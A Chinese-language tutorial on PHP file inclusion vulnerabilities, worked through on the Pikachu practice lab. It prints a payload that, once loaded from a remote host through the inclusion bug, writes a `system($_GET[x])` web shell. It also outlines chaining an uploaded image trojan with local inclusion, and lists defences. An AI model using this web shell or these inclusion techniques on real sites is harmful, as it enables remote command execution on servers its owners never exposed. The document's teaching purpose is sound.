一、文件包含漏洞概述
在web后台開發中,程序員往往為了提高效率以及讓代碼看起來簡潔,會使用"包含"函數功能。例如把一些功能函數都寫進fuction.php中,之后當某個文件需要調用的時候就直接在文件頭中寫上一句<?php include fuction.php?>就可以調用函數代碼。
但是有些時候,因為網站功能的需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了"包含"功能),又由於開發人員沒有對要包含的這個文件進行安全考慮,就導致攻擊者可以通過修改包含文件的位置讓后台執行任意文件(代碼)。
這種情況我們就成為"文件包含"漏洞,文件包含漏洞有"本地文件包含漏洞"和"遠程文件包含漏洞"兩種情況。
二、本地文件包含漏洞測試
1、我們來到pikachu平台的File Inclusion(local)模塊。我們在選擇菜單里,隨便選擇一個,點擊"提交查詢"。
2、那我們嘗試修改傳入后台的文件。
3、下面我們來看一下源碼
三、遠程文件包含漏洞測試
遠程文件包含漏洞形式跟本地文件包含漏洞差不多,在遠程包含漏洞中,攻擊者可以通過訪問外部地址來加載遠程的代碼~
注意:
遠程包含漏洞的前提:如果使用的是include和require,我們則需要對php.ini進行如下配置:
allow_url_fopen = on //默認打開
Allow_url_include=on //默認關閉。
1、首先檢查我們的php.ini配置文件是否需要改動,如果進行了改動,記得重啟PHPstudy服務。
2、來到對應的測試模塊頁面
2、我們在站點的根目錄下新建一個pikachu文件夾,在文件夾里新建一個yijuhua.txt
文本文檔的內容如下:
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
3、我們通過192.168.33.253站點訪問我們新建的yijuhua.txt文件。並且將URL地址欄中的值復制。
4、執行下圖中的操作。
5、然后我們點擊提交。來到資源管理器查看
6、然后我們進行遠程的調用。
四、文件包含漏洞之文件上傳漏洞的利用
如果你發現了一個包含本地文件包含漏洞的網站,或許我們只可以查看一些文件。
那么我們呢可以進行更深層次的利用。
剛好這個時候我們在這個網站上又發現了一個文件上傳漏洞。我們可以將兩者結合。
思路:
-
制作一個圖片木馬,通過文件上傳漏洞上傳
-
通過文件包含漏洞對該圖片木馬進行"包含"
-
獲取執行結果
五、文件包含漏洞常見防范措施
1、在功能設計上盡量不要將文件包含函數對應的文件放給前端進行選擇和操作。
2、過濾各種../../,http://,https://
3、配置php.ini配置文件:
allow_url_fopen = off
allow_url_include=off
magic_quotes_gpc=on
4、通過白名單策略,僅允許包含運行指定的文件,其他的都禁止。